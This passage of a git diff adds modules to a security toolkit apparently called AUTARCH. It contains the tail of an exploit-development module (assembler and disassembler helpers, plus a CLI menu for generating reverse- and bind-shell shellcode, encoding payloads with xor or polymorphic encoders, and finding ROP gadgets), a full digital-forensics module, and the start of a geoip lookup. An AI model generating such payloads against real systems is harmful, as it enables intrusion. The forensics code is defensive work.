capture_output=True, text=True, timeout=10 + ) + if result.returncode != 0: + return {'error': f'NASM error: {result.stderr.strip()}'} + + # Read binary output + with open(bin_path, 'rb') as bf: + machine_code = bf.read() + + return { + 'hex': machine_code.hex(), + 'bytes': list(machine_code), + 'length': len(machine_code), + 'arch': arch, + 'c_array': ', '.join(f'0x{b:02x}' for b in machine_code), + 'python': 'b"' + ''.join(f'\\x{b:02x}' for b in machine_code) + '"', + } + + except subprocess.TimeoutExpired: + return {'error': 'Assembly timed out'} + finally: + for p in (asm_path, obj_path, bin_path): + try: + os.unlink(p) + except OSError: + pass + + def _assemble_keystone(self, code, arch): + """Assemble using keystone-engine.""" + import keystone + + arch_map = { + 'x86': (keystone.KS_ARCH_X86, keystone.KS_MODE_32), + 'x64': (keystone.KS_ARCH_X86, keystone.KS_MODE_64), + 'arm': (keystone.KS_ARCH_ARM, keystone.KS_MODE_ARM), + } + ks_arch, ks_mode = arch_map.get(arch, (keystone.KS_ARCH_X86, keystone.KS_MODE_64)) + + try: + ks = keystone.Ks(ks_arch, ks_mode) + encoding, count = ks.asm(code) + machine_code = bytes(encoding) + + return { + 'hex': machine_code.hex(), + 'bytes': list(machine_code), + 'length': len(machine_code), + 'arch': arch, + 'instructions': count, + 'c_array': ', '.join(f'0x{b:02x}' for b in machine_code), + 'python': 'b"' + ''.join(f'\\x{b:02x}' for b in machine_code) + '"', + } + except keystone.KsError as e: + return {'error': f'Keystone error: {e}'} + + def disassemble(self, data, arch='x64', offset=0): + """Disassemble machine code bytes to assembly. + + Args: + data: hex string or bytes + arch: x86, x64, arm + offset: base address offset + + Returns: + dict with disassembly listing + """ + if isinstance(data, str): + data = data.strip().replace(' ', '').replace('\\x', '') + try: + data = bytes.fromhex(data) + except ValueError: + return {'error': 'Invalid hex data'} + + if not data: + return {'error': 'No data to disassemble'} + + arch = arch.lower().strip() + offset = int(offset) + + # Try capstone first + try: + import capstone + return self._disasm_capstone(data, arch, offset) + except ImportError: + pass + + # Fallback to objdump + objdump = find_tool('objdump') + if objdump: + return self._disasm_objdump(data, arch, offset) + + # Last resort: manual byte-by-byte display + return self._disasm_basic(data, arch, offset) + + def _disasm_capstone(self, data, arch, offset): + """Disassemble using capstone.""" + import capstone + + arch_map = { + 'x86': (capstone.CS_ARCH_X86, capstone.CS_MODE_32), + 'x64': (capstone.CS_ARCH_X86, capstone.CS_MODE_64), + 'arm': (capstone.CS_ARCH_ARM, capstone.CS_MODE_ARM), + } + cs_arch, cs_mode = arch_map.get(arch, (capstone.CS_ARCH_X86, capstone.CS_MODE_64)) + + md = capstone.Cs(cs_arch, cs_mode) + md.detail = False + + instructions = [] + for addr, size, mnemonic, op_str in md.disasm_lite(data, offset): + instr_bytes = data[addr - offset:addr - offset + size] + instructions.append({ + 'address': f'0x{addr:08x}', + 'bytes': instr_bytes.hex(), + 'mnemonic': mnemonic, + 'operands': op_str, + 'text': f'{mnemonic} {op_str}'.strip(), + }) + + listing = '\n'.join( + f'{i["address"]}: {i["bytes"]:<20s} {i["text"]}' + for i in instructions + ) + + return { + 'instructions': instructions, + 'listing': listing, + 'count': len(instructions), + 'arch': arch, + 'tool': 'capstone', + 'data_length': len(data), + } + + def _disasm_objdump(self, data, arch, offset): + """Disassemble using objdump.""" + objdump = find_tool('objdump') + + with tempfile.NamedTemporaryFile(suffix='.bin', delete=False) as f: + f.write(data) + bin_path = f.name + + arch_map = {'x86': 'i386', 'x64': 'i386:x86-64', 'arm': 'arm'} + obj_arch = arch_map.get(arch, 'i386:x86-64') + + try: + result = subprocess.run( + [objdump, '-D', '-b', 'binary', '-m', obj_arch, + '-M', 'intel', '--adjust-vma', str(offset), bin_path], + capture_output=True, text=True, timeout=10 + ) + lines = result.stdout.strip().split('\n') + + instructions = [] + for line in lines: + match = re.match(r'\s*([0-9a-fA-F]+):\s+((?:[0-9a-fA-F]{2}\s)+)\s+(.*)', line) + if match: + addr = match.group(1) + raw_bytes = match.group(2).strip() + instr = match.group(3).strip() + instructions.append({ + 'address': f'0x{addr}', + 'bytes': raw_bytes.replace(' ', ''), + 'text': instr, + }) + + listing = '\n'.join( + f'{i["address"]}: {i["bytes"]:<20s} {i["text"]}' + for i in instructions + ) + + return { + 'instructions': instructions, + 'listing': listing, + 'count': len(instructions), + 'arch': arch, + 'tool': 'objdump', + 'data_length': len(data), + } + except subprocess.TimeoutExpired: + return {'error': 'Disassembly timed out'} + finally: + try: + os.unlink(bin_path) + except OSError: + pass + + def _disasm_basic(self, data, arch, offset): + """Basic hex dump when no disassembler is available.""" + listing_lines = [] + for i in range(0, len(data), 16): + chunk = data[i:i + 16] + addr = offset + i + hex_part = ' '.join(f'{b:02x}' for b in chunk) + ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk) + listing_lines.append(f'0x{addr:08x}: {hex_part:<48s} {ascii_part}') + + return { + 'instructions': [], + 'listing': '\n'.join(listing_lines), + 'count': 0, + 'arch': arch, + 'tool': 'hex_dump (no disassembler available)', + 'data_length': len(data), + 'note': 'Install capstone or objdump for proper disassembly.', + } + + # ----------------------------------------------------------------------- + # Hex Dump + # ----------------------------------------------------------------------- + + def hex_dump(self, data, offset=0): + """Format bytes as a hex dump with ASCII sidebar. + + Args: + data: bytes or hex string + offset: starting address offset + + Returns: + dict with formatted hex dump string + """ + if isinstance(data, str): + data = bytes.fromhex(data.replace(' ', '').replace('\\x', '')) + + lines = [] + for i in range(0, len(data), 16): + chunk = data[i:i + 16] + addr = offset + i + hex_part = ' '.join(f'{b:02x}' for b in chunk) + # Pad short lines + hex_part = f'{hex_part:<48s}' + ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk) + lines.append(f'{addr:08x} {hex_part} |{ascii_part}|') + + return { + 'dump': '\n'.join(lines), + 'length': len(data), + 'offset': offset, + } + + # ----------------------------------------------------------------------- + # CLI interface + # ----------------------------------------------------------------------- + + +def run(): + """CLI menu for exploit development toolkit.""" + dev = get_exploit_dev() + + while True: + clear_screen() + display_banner() + print(f"\n{Colors.RED}{Colors.BOLD} Exploit Development Toolkit{Colors.RESET}") + print(f"{Colors.DIM} Shellcode, encoders, ROP chains, patterns{Colors.RESET}") + print(f"\n{Colors.CYAN} 1{Colors.RESET} Shellcode Generator") + print(f"{Colors.CYAN} 2{Colors.RESET} Payload Encoder") + print(f"{Colors.CYAN} 3{Colors.RESET} Pattern Create") + print(f"{Colors.CYAN} 4{Colors.RESET} Pattern Offset") + print(f"{Colors.CYAN} 5{Colors.RESET} ROP Gadgets") + print(f"{Colors.CYAN} 6{Colors.RESET} Disassemble") + print(f"{Colors.CYAN} 0{Colors.RESET} Back") + + choice = input(f"\n{Colors.WHITE} [{Colors.RED}exploit-dev{Colors.WHITE}]> {Colors.RESET}").strip() + + if choice == '0': + break + elif choice == '1': + _cli_shellcode(dev) + elif choice == '2': + _cli_encoder(dev) + elif choice == '3': + _cli_pattern_create(dev) + elif choice == '4': + _cli_pattern_offset(dev) + elif choice == '5': + _cli_rop_gadgets(dev) + elif choice == '6': + _cli_disassemble(dev) + + +def _cli_shellcode(dev): + """CLI: Shellcode generator.""" + print(f"\n{Colors.BOLD}Available shellcode templates:{Colors.RESET}") + for sc in dev.list_shellcodes(): + print(f" {Colors.CYAN}{sc['name']}{Colors.RESET} — {sc['description']} ({sc['length']} bytes)") + + shell_type = input(f"\n{Colors.WHITE}Shell type (reverse_shell/bind_shell/execve): {Colors.RESET}").strip() or 'execve' + arch = input(f"{Colors.WHITE}Architecture (x86/x64/arm): {Colors.RESET}").strip() or 'x64' + platform = input(f"{Colors.WHITE}Platform (linux/windows): {Colors.RESET}").strip() or 'linux' + host = input(f"{Colors.WHITE}Host IP (for reverse/bind, or skip): {Colors.RESET}").strip() + port = input(f"{Colors.WHITE}Port (for reverse/bind, or skip): {Colors.RESET}").strip() + fmt = input(f"{Colors.WHITE}Output format (hex/c_array/python/nasm): {Colors.RESET}").strip() or 'hex' + + result = dev.generate_shellcode(shell_type, arch, host or None, port or None, platform, output_format=fmt) + if 'error' in result: + print(f"\n{Colors.RED}Error: {result['error']}{Colors.RESET}") + else: + print(f"\n{Colors.GREEN}[+] Generated {result['length']} bytes ({result['template']}){Colors.RESET}") + print(f"{Colors.DIM}{result['description']}{Colors.RESET}") + print(f"\n{result['shellcode']}") + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + +def _cli_encoder(dev): + """CLI: Payload encoder.""" + sc_hex = input(f"\n{Colors.WHITE}Shellcode (hex): {Colors.RESET}").strip() + if not sc_hex: + return + encoder = input(f"{Colors.WHITE}Encoder (xor/aes/alphanumeric/polymorphic): {Colors.RESET}").strip() or 'xor' + key = input(f"{Colors.WHITE}Key (hex/string, or blank for random): {Colors.RESET}").strip() or None + iters = input(f"{Colors.WHITE}Iterations (default 1): {Colors.RESET}").strip() or '1' + + result = dev.encode_payload(sc_hex, encoder, key, int(iters)) + if 'error' in result: + print(f"\n{Colors.RED}Error: {result['error']}{Colors.RESET}") + else: + print(f"\n{Colors.GREEN}[+] Encoded: {result['original_length']} -> {result['encoded_length']} bytes ({result['size_increase']}){Colors.RESET}") + print(f"Key: {result['key']}") + print(f"Null-free: {result['null_free']}") + print(f"\n{Colors.CYAN}Decoder Stub:{Colors.RESET}\n{result['decoder_stub']}") + print(f"\n{Colors.CYAN}Encoded payload (hex):{Colors.RESET}\n{result['encoded']}") + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + +def _cli_pattern_create(dev): + """CLI: Pattern create.""" + length = input(f"\n{Colors.WHITE}Pattern length: {Colors.RESET}").strip() + if not length: + return + result = dev.generate_pattern(int(length)) + if 'error' in result: + print(f"\n{Colors.RED}Error: {result['error']}{Colors.RESET}") + else: + print(f"\n{Colors.GREEN}[+] Pattern ({result['length']} bytes):{Colors.RESET}") + print(result['pattern']) + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + +def _cli_pattern_offset(dev): + """CLI: Pattern offset finder.""" + value = input(f"\n{Colors.WHITE}Value to find (hex/int/string): {Colors.RESET}").strip() + if not value: + return + length = input(f"{Colors.WHITE}Pattern length (default 20000): {Colors.RESET}").strip() or '20000' + result = dev.find_pattern_offset(value, int(length)) + if result.get('offset', -1) >= 0: + print(f"\n{Colors.GREEN}[+] Found at offset: {result['offset']}{Colors.RESET}") + print(f" Matched: {result['matched']} ({result['endian']})") + else: + print(f"\n{Colors.RED}{result.get('error', 'Not found')}{Colors.RESET}") + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + +def _cli_rop_gadgets(dev): + """CLI: ROP gadget finder.""" + binary = input(f"\n{Colors.WHITE}Binary path: {Colors.RESET}").strip() + if not binary: + return + gtype = input(f"{Colors.WHITE}Gadget type (all/pop_ret/xchg/mov/syscall/jmp_esp/call_reg): {Colors.RESET}").strip() + if gtype in ('', 'all'): + gtype = None + result = dev.find_rop_gadgets(binary, gtype) + if 'error' in result: + print(f"\n{Colors.RED}Error: {result['error']}{Colors.RESET}") + else: + print(f"\n{Colors.GREEN}[+] Found {result['count']} gadgets (via {result['tool']}){Colors.RESET}\n") + for g in result['gadgets'][:50]: + print(f" {Colors.CYAN}{g['address']}{Colors.RESET}: {g['gadget']} [{g['type']}]") + if result['count'] > 50: + print(f"\n ... and {result['count'] - 50} more") + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + +def _cli_disassemble(dev): + """CLI: Disassemble hex bytes.""" + hex_data = input(f"\n{Colors.WHITE}Hex bytes: {Colors.RESET}").strip() + if not hex_data: + return + arch = input(f"{Colors.WHITE}Architecture (x86/x64/arm): {Colors.RESET}").strip() or 'x64' + result = dev.disassemble(hex_data, arch) + if 'error' in result: + print(f"\n{Colors.RED}Error: {result['error']}{Colors.RESET}") + else: + print(f"\n{Colors.GREEN}[+] {result['count']} instructions (via {result['tool']}){Colors.RESET}\n") + print(result['listing']) + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + +# --------------------------------------------------------------------------- +# Singleton +# --------------------------------------------------------------------------- + +_instance = None + + +def get_exploit_dev() -> ExploitDev: + """Get singleton ExploitDev instance.""" + global _instance + if _instance is None: + _instance = ExploitDev() + return _instance diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/forensics.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/forensics.py new file mode 100644 index 0000000..5aeb5fb --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/forensics.py @@ -0,0 +1,595 @@ +"""AUTARCH Forensics Toolkit + +Disk imaging, file carving, metadata extraction, timeline building, +hash verification, and chain of custody logging for digital forensics. +""" + +DESCRIPTION = "Digital forensics & evidence analysis" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import hashlib +import struct +import shutil +import subprocess +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any, Tuple + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +# Optional imports +try: + from PIL import Image as PILImage + from PIL.ExifTags import TAGS, GPSTAGS + HAS_PIL = True +except ImportError: + HAS_PIL = False + + +# ── File Signatures for Carving ────────────────────────────────────────────── + +FILE_SIGNATURES = [ + {'name': 'JPEG', 'ext': '.jpg', 'magic': b'\xFF\xD8\xFF', 'footer': b'\xFF\xD9', 'max_size': 50*1024*1024}, + {'name': 'PNG', 'ext': '.png', 'magic': b'\x89PNG\r\n\x1a\n', 'footer': b'IEND\xAE\x42\x60\x82', 'max_size': 50*1024*1024}, + {'name': 'GIF', 'ext': '.gif', 'magic': b'GIF8', 'footer': b'\x00\x3B', 'max_size': 20*1024*1024}, + {'name': 'PDF', 'ext': '.pdf', 'magic': b'%PDF', 'footer': b'%%EOF', 'max_size': 100*1024*1024}, + {'name': 'ZIP', 'ext': '.zip', 'magic': b'PK\x03\x04', 'footer': None, 'max_size': 500*1024*1024}, + {'name': 'RAR', 'ext': '.rar', 'magic': b'Rar!\x1a\x07', 'footer': None, 'max_size': 500*1024*1024}, + {'name': 'ELF', 'ext': '.elf', 'magic': b'\x7fELF', 'footer': None, 'max_size': 100*1024*1024}, + {'name': 'PE/EXE', 'ext': '.exe', 'magic': b'MZ', 'footer': None, 'max_size': 100*1024*1024}, + {'name': 'SQLite', 'ext': '.sqlite', 'magic': b'SQLite format 3\x00', 'footer': None, 'max_size': 500*1024*1024}, + {'name': 'DOCX', 'ext': '.docx', 'magic': b'PK\x03\x04', 'footer': None, 'max_size': 100*1024*1024}, + {'name': '7z', 'ext': '.7z', 'magic': b"7z\xBC\xAF'\x1C", 'footer': None, 'max_size': 500*1024*1024}, + {'name': 'BMP', 'ext': '.bmp', 'magic': b'BM', 'footer': None, 'max_size': 50*1024*1024}, + {'name': 'MP3', 'ext': '.mp3', 'magic': b'\xFF\xFB', 'footer': None, 'max_size': 50*1024*1024}, + {'name': 'MP4', 'ext': '.mp4', 'magic': b'\x00\x00\x00\x18ftyp', 'footer': None, 'max_size': 1024*1024*1024}, + {'name': 'AVI', 'ext': '.avi', 'magic': b'RIFF', 'footer': None, 'max_size': 1024*1024*1024}, +] + + +# ── Chain of Custody Logger ────────────────────────────────────────────────── + +class CustodyLog: + """Chain of custody logging for forensic evidence.""" + + def __init__(self, data_dir: str): + self.log_file = os.path.join(data_dir, 'custody_log.json') + self.entries: List[Dict] = [] + self._load() + + def _load(self): + if os.path.exists(self.log_file): + try: + with open(self.log_file) as f: + self.entries = json.load(f) + except Exception: + pass + + def _save(self): + with open(self.log_file, 'w') as f: + json.dump(self.entries, f, indent=2) + + def log(self, action: str, target: str, details: str = "", + evidence_hash: str = "") -> Dict: + """Log a forensic action.""" + entry = { + 'id': len(self.entries) + 1, + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'action': action, + 'target': target, + 'details': details, + 'evidence_hash': evidence_hash, + 'user': os.getenv('USER', os.getenv('USERNAME', 'unknown')) + } + self.entries.append(entry) + self._save() + return entry + + def get_log(self) -> List[Dict]: + return self.entries + + +# ── Forensics Engine ───────────────────────────────────────────────────────── + +class ForensicsEngine: + """Digital forensics toolkit.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'forensics') + os.makedirs(self.data_dir, exist_ok=True) + self.evidence_dir = os.path.join(self.data_dir, 'evidence') + os.makedirs(self.evidence_dir, exist_ok=True) + self.carved_dir = os.path.join(self.data_dir, 'carved') + os.makedirs(self.carved_dir, exist_ok=True) + self.custody = CustodyLog(self.data_dir) + self.dd = find_tool('dd') or shutil.which('dd') + + # ── Hash Verification ──────────────────────────────────────────────── + + def hash_file(self, filepath: str, algorithms: List[str] = None) -> Dict: + """Calculate file hashes for evidence integrity.""" + algorithms = algorithms or ['md5', 'sha1', 'sha256'] + + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + try: + hashers = {alg: hashlib.new(alg) for alg in algorithms} + file_size = os.path.getsize(filepath) + + with open(filepath, 'rb') as f: + while True: + chunk = f.read(8192) + if not chunk: + break + for h in hashers.values(): + h.update(chunk) + + hashes = {alg: h.hexdigest() for alg, h in hashers.items()} + + self.custody.log('hash_verify', filepath, + f'Hashes: {", ".join(f"{k}={v[:16]}..." for k, v in hashes.items())}', + hashes.get('sha256', '')) + + return { + 'ok': True, 'file': filepath, + 'size': file_size, 'hashes': hashes + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + def verify_hash(self, filepath: str, expected_hash: str, + algorithm: str = None) -> Dict: + """Verify file against expected hash.""" + # Auto-detect algorithm from hash length + if not algorithm: + hash_len = len(expected_hash) + algorithm = {32: 'md5', 40: 'sha1', 64: 'sha256', 128: 'sha512'}.get(hash_len) + if not algorithm: + return {'ok': False, 'error': f'Cannot detect algorithm for hash length {hash_len}'} + + result = self.hash_file(filepath, [algorithm]) + if not result['ok']: + return result + + actual = result['hashes'][algorithm] + match = actual.lower() == expected_hash.lower() + + self.custody.log('hash_verify', filepath, + f'Expected: {expected_hash[:16]}... Match: {match}') + + return { + 'ok': True, 'match': match, + 'algorithm': algorithm, + 'expected': expected_hash, + 'actual': actual, + 'file': filepath + } + + # ── Disk Imaging ───────────────────────────────────────────────────── + + def create_image(self, source: str, output: str = None, + block_size: int = 4096) -> Dict: + """Create forensic disk image using dd.""" + if not self.dd: + return {'ok': False, 'error': 'dd not found'} + + if not output: + name = Path(source).name.replace('/', '_') + output = os.path.join(self.evidence_dir, f'{name}_{int(time.time())}.img') + + self.custody.log('disk_image', source, f'Creating image: {output}') + + try: + result = subprocess.run( + [self.dd, f'if={source}', f'of={output}', f'bs={block_size}', + 'conv=noerror,sync', 'status=progress'], + capture_output=True, text=True, timeout=3600 + ) + + if os.path.exists(output): + # Hash the image + hashes = self.hash_file(output, ['md5', 'sha256']) + + self.custody.log('disk_image_complete', output, + f'Image created, SHA256: {hashes.get("hashes", {}).get("sha256", "?")}') + + return { + 'ok': True, 'source': source, 'output': output, + 'size': os.path.getsize(output), + 'hashes': hashes.get('hashes', {}), + 'dd_output': result.stderr + } + return {'ok': False, 'error': 'Image file not created', 'stderr': result.stderr} + + except subprocess.TimeoutExpired: + return {'ok': False, 'error': 'Imaging timed out (1hr limit)'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── File Carving ───────────────────────────────────────────────────── + + def carve_files(self, source: str, file_types: List[str] = None, + max_files: int = 100) -> Dict: + """Recover files from raw data by magic byte signatures.""" + if not os.path.exists(source): + return {'ok': False, 'error': 'Source file not found'} + + self.custody.log('file_carving', source, f'Starting carve, types={file_types}') + + # Filter signatures + sigs = FILE_SIGNATURES + if file_types: + type_set = {t.lower() for t in file_types} + sigs = [s for s in sigs if s['name'].lower() in type_set or + s['ext'].lstrip('.').lower() in type_set] + + carved = [] + file_size = os.path.getsize(source) + chunk_size = 1024 * 1024 # 1MB chunks + + try: + with open(source, 'rb') as f: + offset = 0 + while offset < file_size and len(carved) < max_files: + f.seek(offset) + chunk = f.read(chunk_size) + if not chunk: + break + + for sig in sigs: + pos = 0 + while pos < len(chunk) and len(carved) < max_files: + idx = chunk.find(sig['magic'], pos) + if idx == -1: + break + + abs_offset = offset + idx + # Try to find file end + file_end = abs_offset + sig['max_size'] + if sig['footer']: + f.seek(abs_offset) + search_data = f.read(min(sig['max_size'], file_size - abs_offset)) + footer_pos = search_data.find(sig['footer'], len(sig['magic'])) + if footer_pos != -1: + file_end = abs_offset + footer_pos + len(sig['footer']) + + # Extract file + extract_size = min(file_end - abs_offset, sig['max_size']) + f.seek(abs_offset) + file_data = f.read(extract_size) + + # Save carved file + carved_name = f'carved_{len(carved):04d}_{sig["name"]}{sig["ext"]}' + carved_path = os.path.join(self.carved_dir, carved_name) + with open(carved_path, 'wb') as cf: + cf.write(file_data) + + file_hash = hashlib.md5(file_data).hexdigest() + carved.append({ + 'name': carved_name, + 'path': carved_path, + 'type': sig['name'], + 'offset': abs_offset, + 'size': len(file_data), + 'md5': file_hash + }) + + pos = idx + len(sig['magic']) + + offset += chunk_size - max(len(s['magic']) for s in sigs) + + self.custody.log('file_carving_complete', source, + f'Carved {len(carved)} files') + + return { + 'ok': True, 'source': source, + 'carved': carved, 'count': len(carved), + 'output_dir': self.carved_dir + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Metadata Extraction ────────────────────────────────────────────── + + def extract_metadata(self, filepath: str) -> Dict: + """Extract metadata from files (EXIF, PDF, Office, etc.).""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + ext = Path(filepath).suffix.lower() + metadata = { + 'file': filepath, + 'name': Path(filepath).name, + 'size': os.path.getsize(filepath), + 'created': datetime.fromtimestamp(os.path.getctime(filepath), timezone.utc).isoformat(), + 'modified': datetime.fromtimestamp(os.path.getmtime(filepath), timezone.utc).isoformat(), + 'accessed': datetime.fromtimestamp(os.path.getatime(filepath), timezone.utc).isoformat(), + } + + # EXIF for images + if ext in ('.jpg', '.jpeg', '.tiff', '.tif', '.png') and HAS_PIL: + try: + img = PILImage.open(filepath) + metadata['image'] = { + 'width': img.size[0], 'height': img.size[1], + 'format': img.format, 'mode': img.mode + } + exif = img._getexif() + if exif: + exif_data = {} + gps_data = {} + for tag_id, value in exif.items(): + tag = TAGS.get(tag_id, tag_id) + if tag == 'GPSInfo': + for gps_id, gps_val in value.items(): + gps_tag = GPSTAGS.get(gps_id, gps_id) + gps_data[str(gps_tag)] = str(gps_val) + else: + # Convert bytes to string for JSON serialization + if isinstance(value, bytes): + try: + value = value.decode('utf-8', errors='replace') + except Exception: + value = value.hex() + exif_data[str(tag)] = str(value) + metadata['exif'] = exif_data + if gps_data: + metadata['gps'] = gps_data + except Exception: + pass + + # PDF metadata + elif ext == '.pdf': + try: + with open(filepath, 'rb') as f: + content = f.read(4096) + # Extract info dict + for key in [b'/Title', b'/Author', b'/Subject', b'/Creator', + b'/Producer', b'/CreationDate', b'/ModDate']: + pattern = key + rb'\s*\(([^)]*)\)' + m = re.search(pattern, content) + if m: + k = key.decode().lstrip('/') + metadata.setdefault('pdf', {})[k] = m.group(1).decode('utf-8', errors='replace') + except Exception: + pass + + # Generic file header + try: + with open(filepath, 'rb') as f: + header = f.read(16) + metadata['magic_bytes'] = header.hex() + for sig in FILE_SIGNATURES: + if header.startswith(sig['magic']): + metadata['detected_type'] = sig['name'] + break + except Exception: + pass + + self.custody.log('metadata_extract', filepath, f'Type: {metadata.get("detected_type", "unknown")}') + + return {'ok': True, **metadata} + + # ── Timeline Builder ───────────────────────────────────────────────── + + def build_timeline(self, directory: str, recursive: bool = True, + max_entries: int = 10000) -> Dict: + """Build filesystem timeline from directory metadata.""" + if not os.path.exists(directory): + return {'ok': False, 'error': 'Directory not found'} + + events = [] + count = 0 + + walk_fn = os.walk if recursive else lambda d: [(d, [], os.listdir(d))] + for root, dirs, files in walk_fn(directory): + for name in files: + if count >= max_entries: + break + filepath = os.path.join(root, name) + try: + stat = os.stat(filepath) + events.append({ + 'type': 'modified', + 'timestamp': datetime.fromtimestamp(stat.st_mtime, timezone.utc).isoformat(), + 'epoch': stat.st_mtime, + 'file': filepath, + 'size': stat.st_size + }) + events.append({ + 'type': 'created', + 'timestamp': datetime.fromtimestamp(stat.st_ctime, timezone.utc).isoformat(), + 'epoch': stat.st_ctime, + 'file': filepath, + 'size': stat.st_size + }) + events.append({ + 'type': 'accessed', + 'timestamp': datetime.fromtimestamp(stat.st_atime, timezone.utc).isoformat(), + 'epoch': stat.st_atime, + 'file': filepath, + 'size': stat.st_size + }) + count += 1 + except (OSError, PermissionError): + pass + + # Sort by timestamp + events.sort(key=lambda e: e['epoch']) + + self.custody.log('timeline_build', directory, + f'{count} files, {len(events)} events') + + return { + 'ok': True, 'directory': directory, + 'events': events, 'event_count': len(events), + 'file_count': count + } + + # ── Evidence Management ────────────────────────────────────────────── + + def list_evidence(self) -> List[Dict]: + """List evidence files.""" + evidence = [] + edir = Path(self.evidence_dir) + for f in sorted(edir.iterdir()): + if f.is_file(): + evidence.append({ + 'name': f.name, + 'path': str(f), + 'size': f.stat().st_size, + 'modified': datetime.fromtimestamp(f.stat().st_mtime, timezone.utc).isoformat() + }) + return evidence + + def list_carved(self) -> List[Dict]: + """List carved files.""" + carved = [] + cdir = Path(self.carved_dir) + for f in sorted(cdir.iterdir()): + if f.is_file(): + carved.append({ + 'name': f.name, + 'path': str(f), + 'size': f.stat().st_size + }) + return carved + + def get_custody_log(self) -> List[Dict]: + """Get chain of custody log.""" + return self.custody.get_log() + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_forensics() -> ForensicsEngine: + global _instance + if _instance is None: + _instance = ForensicsEngine() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Forensics module.""" + engine = get_forensics() + + while True: + print(f"\n{'='*60}") + print(f" Digital Forensics Toolkit") + print(f"{'='*60}") + print() + print(" 1 — Hash File (integrity verification)") + print(" 2 — Verify Hash") + print(" 3 — Create Disk Image") + print(" 4 — Carve Files (recover deleted)") + print(" 5 — Extract Metadata (EXIF/PDF/headers)") + print(" 6 — Build Timeline") + print(" 7 — List Evidence") + print(" 8 — List Carved Files") + print(" 9 — Chain of Custody Log") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + filepath = input(" File path: ").strip() + if filepath: + result = engine.hash_file(filepath) + if result['ok']: + print(f" Size: {result['size']} bytes") + for alg, h in result['hashes'].items(): + print(f" {alg.upper()}: {h}") + else: + print(f" Error: {result['error']}") + elif choice == '2': + filepath = input(" File path: ").strip() + expected = input(" Expected hash: ").strip() + if filepath and expected: + result = engine.verify_hash(filepath, expected) + if result['ok']: + status = 'MATCH' if result['match'] else 'MISMATCH' + print(f" {status} ({result['algorithm'].upper()})") + else: + print(f" Error: {result['error']}") + elif choice == '3': + source = input(" Source device/file: ").strip() + output = input(" Output path (blank=auto): ").strip() or None + if source: + result = engine.create_image(source, output) + if result['ok']: + mb = result['size'] / (1024*1024) + print(f" Image created: {result['output']} ({mb:.1f} MB)") + else: + print(f" Error: {result['error']}") + elif choice == '4': + source = input(" Source file/image: ").strip() + types = input(" File types (blank=all, comma-sep): ").strip() + if source: + file_types = [t.strip() for t in types.split(',')] if types else None + result = engine.carve_files(source, file_types) + if result['ok']: + print(f" Carved {result['count']} files to {result['output_dir']}") + for c in result['carved'][:10]: + print(f" {c['name']} {c['type']} {c['size']} bytes offset={c['offset']}") + else: + print(f" Error: {result['error']}") + elif choice == '5': + filepath = input(" File path: ").strip() + if filepath: + result = engine.extract_metadata(filepath) + if result['ok']: + print(f" Name: {result['name']}") + print(f" Size: {result['size']}") + print(f" Type: {result.get('detected_type', 'unknown')}") + if 'exif' in result: + print(f" EXIF entries: {len(result['exif'])}") + for k, v in list(result['exif'].items())[:5]: + print(f" {k}: {v[:50]}") + if 'gps' in result: + print(f" GPS data: {result['gps']}") + else: + print(f" Error: {result['error']}") + elif choice == '6': + directory = input(" Directory path: ").strip() + if directory: + result = engine.build_timeline(directory) + if result['ok']: + print(f" {result['file_count']} files, {result['event_count']} events") + for e in result['events'][:10]: + print(f" {e['timestamp']} {e['type']:<10} {Path(e['file']).name}") + else: + print(f" Error: {result['error']}") + elif choice == '7': + for e in engine.list_evidence(): + mb = e['size'] / (1024*1024) + print(f" {e['name']} ({mb:.1f} MB)") + elif choice == '8': + for c in engine.list_carved(): + print(f" {c['name']} ({c['size']} bytes)") + elif choice == '9': + log = engine.get_custody_log() + print(f" {len(log)} entries:") + for entry in log[-10:]: + print(f" [{entry['timestamp'][:19]}] {entry['action']}: {entry['target']}") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/geoip.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/geoip.py new file mode 100644 index 0000000..d992857 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/geoip.py @@ -0,0 +1,443 @@ +""" +AUTARCH GEO IP/Domain Lookup Module +Get geolocation info for IPs, domains, and URLs +Based on Snoop Project's GEO_IP/domain plugin +""" + +import ipaddress +import json +import os +import socket +import sys +import threading +import time +from pathlib import Path +from urllib.parse import urlparse + +# Add parent directory to path for imports +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from core.banner import Colors + +# Module metadata +NAME = "GEO IP Lookup" +DESCRIPTION = "Get geolocation for IPs, domains, and URLs" +AUTHOR = "darkHal Security Group" +VERSION = "1.0" +CATEGORY = "osint" + +# Try to import requests +try: + import requests +except ImportError: + requests = None + + +class GeoIPLookup: + """GEO IP/Domain lookup utility.""" + + def __init__(self): + self.session = None 